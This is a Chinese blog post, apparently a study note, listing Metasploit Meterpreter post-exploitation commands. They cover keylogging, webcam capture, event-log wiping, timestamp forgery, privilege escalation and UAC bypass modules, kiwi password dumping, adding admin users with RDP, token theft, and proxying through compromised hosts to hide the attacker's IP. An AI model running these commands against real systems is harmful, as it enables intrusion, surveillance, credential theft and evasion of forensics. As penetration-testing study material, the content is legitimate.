• 生命在于学习——MSF初体验(二)


    在这里插入图片描述
    注意:本篇文章仅用于学习笔记记录与交流,不得用于其他违规用途。

    一、Meterpreter简介

    • Meterpreter 比系统 shell 更加灵活,功能更加丰富,例如监控主机,监控键盘,开启摄像头,麦克风,还可

      以灵活的获取你的操作系统信息。

    • 高级,动态,可扩展的 payload,一站式后攻击 payload;

    • 基于 meterpreter 上下文利用更多漏洞发起攻击;

    • 后渗透测试阶段一站式操作界面;

    • 完全基于内存的 DLL 注入式 payload(不写硬盘)

    • 注入合法系统进程并建立 stager

    • 基于 stager 上传和预加载 DLL 进行扩展模块的注入(客户端 API)

    • 基于 stager 建立的 socket 连接建立加密的 TLS/1.0 通信隧道;

    • 利用 TLS 隧道进一步加载后续扩展模块(避免网络取证

    二、Meterpreter基本命令

    1、系统命令

    (1)基本系统命令

    background  #将当前会话放置后台,然后可以再运行其他模块进行提权
    
    getuid # 查看权限 
    
    getpid # 获取当前进程的pid
    
    sysinfo # 查看目标机系统信息
    
    ps # 查看当前活跃进程    kill  杀死进程
    
    idletime #查看目标机发呆(无操作)时间
    
    reboot / shutdown   #重启/关机
    
    shell #进入目标机cmd shell
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    (2)uictl开关键盘/鼠标

    uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
    
    uictl disable mouse  #禁用鼠标
    uictl disable keyboard  #禁用键盘
    
    • 1
    • 2
    • 3
    • 4

    (3)webcam摄像头命令

    webcam_list         #查看摄像头
    webcam_snap      #通过摄像头拍照
    webcam_stream   #通过摄像头开启视频
    
    • 1
    • 2
    • 3

    (4)执行exe文件

    execute -f c:\\111.exe
    
    execute  -H -i -f  calc.exe
    # execute -H -i -f cmd.exe    # 创建新进程cmd.exe,-H不可见,-i交互
    
    • 1
    • 2
    • 3
    • 4

    (5)migrate进程迁移

    getpid    # 获取当前进程的pid
    ps   # 查看当前活跃进程
    migrate     #将Meterpreter会话移植到指定pid值进程中,
    kill    #杀死进程
    
    • 1
    • 2
    • 3
    • 4

    (6)clearav清楚日志

    clearev  #清除windows中的应用程序日志、系统日志、安全日志,走的时候不要忘记
    
    • 1

    2、文件系统命令

    (1)基础命令

    getwd 或者pwd                         # 查看当前工作目录  
    ls                                               # 查看当前路径下的内容
    cd                                              # 切换目录
    search -f *host*                         # 搜索文件  -h查看帮助
    cat c:\\lltest\\lltestpasswd.txt    # 查看文件内容
    edit c:\\1.txt                               #编辑或创建文件  没有的话,会新建文件
    rm c:\\lltest\\hack.txt                #删除文件
    mkdir lltest2                              #只能在当前目录下创建文件夹
    rmdir lltest2                               #只能删除当前目录下文件夹
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    (2)上传文件

    meterpreter > upload //root//daociyiyou.txt c:
    [*] uploading  : //root/daociyiyou.txt -> c:
    [*] uploaded   : //root/daociyiyou.txt -> c:\daociyiyou.txt
    
    
    meterpreter > upload /tmp/1.txt c:
    # 注意:使用-r参数可以递归上传上传目录和文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    (3)下载文件

    meterpreter > download c:\\1.txt /tmp/
    [*] Downloading: c:\hello.txt -> /root/hello.txt
    [*] Downloaded 1.00 B of 1.00 B (100.0%): c:\hello.txt -> /root/hello.txt
    [*] download   : c:\hello.txt -> /root/hello.txt
    
    • 1
    • 2
    • 3
    • 4

    (4)Timestomp伪造时间戳

    timestomp C:\\ -h                            #查看帮助
    timestomp -v C://2.txt                      #查看时间戳
    timestomp C://2.txt -f C://1.txt         #将1.txt的时间戳复制给2.txt
    
    timestomp  C:\\1.txt  -f C:\\Users\\Administrator\\Desktop\\test\\1.jpg 
    
    timestomp C:\\passwd.txt -f C:\\Users\\Administrator\\Desktop\\hj\\nginx-0.7.65\\nginx.exe
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    3、网络命令

    (1)基本网络命令

    ipconfig/ifconfig     # 查看ip
    netstat –an           # 查看开放的端口
    arp                          # arp探测
    getproxy                 #查看代理信息
    route                       #查看路由
    
    • 1
    • 2
    • 3
    • 4
    • 5

    (2)portfwd端口转发

    portfwd add -l 6666 -p 3389 -r 127.0.0.1    #将目标机的3389端口转发到本地6666端口
    
    • 1

    (3)autoroute添加路由

    run autoroute -h #查看帮助
    run autoroute -s 192.168.159.0/24  #添加到目标环境网络,当你相连接一个网络发现不通的时候,可以设置一个路由试试,一般网络中没有设置围栏的情况下,是可以通的
    
    run autoroute -p  #查看添加的路由
    
    • 1
    • 2
    • 3
    • 4

    (4)Socks4a代理

    msf> use auxiliary/server/socks4a 
    msf > set srvhost 127.0.0.1
    msf > set srvport 1080
    msf > run
    
    • 1
    • 2
    • 3
    • 4

    然后vim /etc/proxychains.conf #添加 socks4 127.0.0.1 1080,这样你kali里面所有的软件运行,攻击的手段都

    是走的肉鸡的代理,就做到了隐藏自己真是ip的效果了

    最后proxychains 使用Socks4a代理访问

    4、提权

    (1)getsystem提权

    getsystem
    
    • 1

    getsystem工作原理:

    ①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

    ②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

    ③Windows服务已启动,导致与命名管道建立连接。

    ④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

    然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

    (2)bypassuac

    内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

    use exploit/windows/local/bypassuac
    use exploit/windows/local/bypassuac_injection
    use windows/local/bypassuac_vbs
    use windows/local/ask
    
    • 1
    • 2
    • 3
    • 4

    如使用bypassuac.rb脚本:

    msf > use exploit/windows/local/bypassuac
    msf > set SESSION 2
    msf > run
    
    • 1
    • 2
    • 3

    (3)内核漏洞提权

    可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

    meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
    msf > use exploit/windows/local/ms13_053_schlamperei
    msf > set SESSION 2
    msf > exploit
    
    • 1
    • 2
    • 3
    • 4

    5、kiwi获取密码

    在msf6中mimikatz已经不可以用了,The “mimikatz” extension has been replaced by “kiwi”

    load kiwi          # help kiwi 查看帮助
    creds_wdigest  # 获取账号密码
    
    • 1
    • 2

    6、远程桌面&截屏

    enumdesktops     #查看可用的桌面
    getdesktop          #获取当前meterpreter 关联的桌面
    set_desktop         #设置meterpreter关联的桌面  -h查看帮助
    screenshot           #截屏
    use espia             #或者使用espia模块截屏  然后输入screengrab
    run vnc                #使用vnc远程桌面连接
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    7、开启RDP&添加用户

    (1)getgui命令

    run getgui –h #查看帮助
    run getgui -e #开启远程桌面
    run getgui -u test2 -p 123456.com   #添加用户
    run getgui -f 6661   #3389端口转发到6661
    
    • 1
    • 2
    • 3
    • 4

    getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp

    getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆

    (2)enable_rdp脚本

    run post/windows/manage/enable_rdp  #开启远程桌面
    
    run post/windows/manage/enable_rdp USERNAME=mhx PASSWORD=123456 #添加用户,默认会添加到管理员组
    
    • 1
    • 2
    • 3

    8、键盘记录

    keyscan_start     #开始键盘记录
    keyscan_dump   #导出记录数据
    keyscan_stop     #结束键盘记录
    
    • 1
    • 2
    • 3

    9、sniffer抓包

    use sniffer
    sniffer_interfaces       #查看网卡
    sniffer_start 2            #选择网卡 开始抓包
    sniffer_stats 2           #查看状态
    sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
    sniffer_stop 2            #停止抓包
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    10、令牌操纵

    这个非常有用,比如说我们在一个企业的域控环境里面,我本身是一个普通用户可以通过假冒令牌伪造成管理员用户,然后不需要密码就能登录其他账号了

    (1)incognito假冒令牌

    use incognito      #help incognito  查看帮助
    list_tokens -u    #查看可用的token
    
    impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
    或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
    
    或者直接shell
    rev2self   #返回原始token
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    (2)steal_token窃取令牌

    先查看进程后面的token值,然后找到管理员的token,然后再通过pid获取他的token

    steal_token    #从指定进程中窃取token   先ps
    drop_token  #删除窃取的token
    
    • 1
    • 2
  • 相关阅读:
    第一章:为什么要并行计算
    【华为OD机试高分必刷题目】洗衣服(Java&Python&C++贪心算法实现)
    用AR Engine手部骨骼跟踪能力实现虚拟手表试戴
    vim、gcc/g++、make/Makefile、yum、gdb
    [报告] Microsoft :Application of deep learning methods in speech enhancement
    NC5 二叉树根节点到叶子节点的所有路径和
    结合SkeyeVSS+SkeyeIVMS运维管控技术构建机关单位视频监控系统
    SpringCloud Alibaba核心组件Nacos【认识和安装Nacos&快速入门】第1章
    Matlab|基础知识总结一
    Kotlin学习笔记之基础篇一
  • 原文地址:https://blog.csdn.net/qq_15131581/article/details/127452844